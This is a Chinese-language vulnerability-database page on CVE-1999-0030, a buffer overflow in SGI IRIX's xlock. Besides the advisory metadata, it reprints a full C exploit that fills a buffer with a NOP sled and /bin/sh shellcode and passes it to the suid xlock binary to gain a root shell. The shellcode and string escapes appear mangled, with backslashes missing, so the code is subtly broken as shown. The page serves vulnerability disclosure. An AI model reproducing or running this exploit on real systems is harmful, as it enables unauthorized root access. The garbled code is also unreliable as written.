SGI IRIX xlock缓冲区溢出漏洞

SGI IRIX xlock缓冲区溢出漏洞

漏洞ID 1105290 漏洞类型 缓冲区溢出
发布时间 1997-04-26 更新时间 2005-10-20
图片[1]-SGI IRIX xlock缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0030
图片[2]-SGI IRIX xlock缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199707-029
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19172
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199707-029
|漏洞详情
基于SGIIRIX系统的xlock命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/224/info

The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access. 
*/

/*   x86 XLOCK overflow exploit
     by [email protected] 4/17/97

     Original exploit framework - lpr exploit

     Usage: make xlock-exploit
            xlock-exploit  <optional_offset>

     Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             996

long get_esp(void)
{
   __asm__("movl %esp,%eaxn");
}

int main(int argc, char *argv[])
{
   char *buff = NULL;

   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int dfltOFFSET = DEFAULT_OFFSET;

   u_char execshell[] =   "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
                          "x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
                          "x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
                          "xd7xffxffxff/bin/sh";
  int i;

   if (argc > 1)
      dfltOFFSET = atoi(argv[1]);
   else printf("You can specify another offset as a parameter if you 
need...n");

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memoryn");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + dfltOFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:sgi:irix*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0030

相关推荐: Ethereal AFS Buffer Overflow Vulnerability

Ethereal AFS Buffer Overflow Vulnerability 漏洞ID 1103707 漏洞类型 Boundary Condition Error 发布时间 2000-11-18 更新时间 2000-11-18 CVE编号 N/A CN…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享